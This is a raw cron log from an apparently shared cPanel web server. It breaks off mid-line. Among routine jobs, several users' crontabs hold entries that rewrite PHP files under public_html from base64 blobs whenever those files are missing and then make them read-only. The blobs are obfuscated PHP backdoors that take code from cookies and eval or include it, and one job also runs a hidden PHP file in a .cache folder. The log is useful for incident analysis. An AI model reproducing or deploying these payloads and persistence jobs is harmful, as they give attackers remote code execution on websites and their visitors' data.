Mar  2 03:17:01 medusa CROND[21843]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:17:01 medusa CROND[21844]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 03:18:01 medusa CROND[28418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:18:01 medusa CROND[28419]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:18:01 medusa CROND[28422]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 03:18:01 medusa CROND[28423]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:18:01 medusa CROND[28425]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 03:18:01 medusa CROND[28430]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:18:01 medusa CROND[28427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:18:01 medusa CROND[28426]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:18:01 medusa CROND[28433]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:18:01 medusa CROND[28429]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:18:01 medusa CROND[28435]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:18:01 medusa CROND[28438]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:18:01 medusa CROND[28434]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:18:01 medusa CROND[28440]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:19:01 medusa CROND[1810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:19:01 medusa CROND[1935]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:19:01 medusa CROND[1936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:19:01 medusa CROND[1939]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:19:01 medusa CROND[1943]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 03:19:01 medusa CROND[1948]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:19:01 medusa CROND[1950]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:19:01 medusa CROND[1951]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:19:01 medusa CROND[1945]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:19:01 medusa CROND[1954]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:19:01 medusa CROND[1955]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:19:01 medusa CROND[1957]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 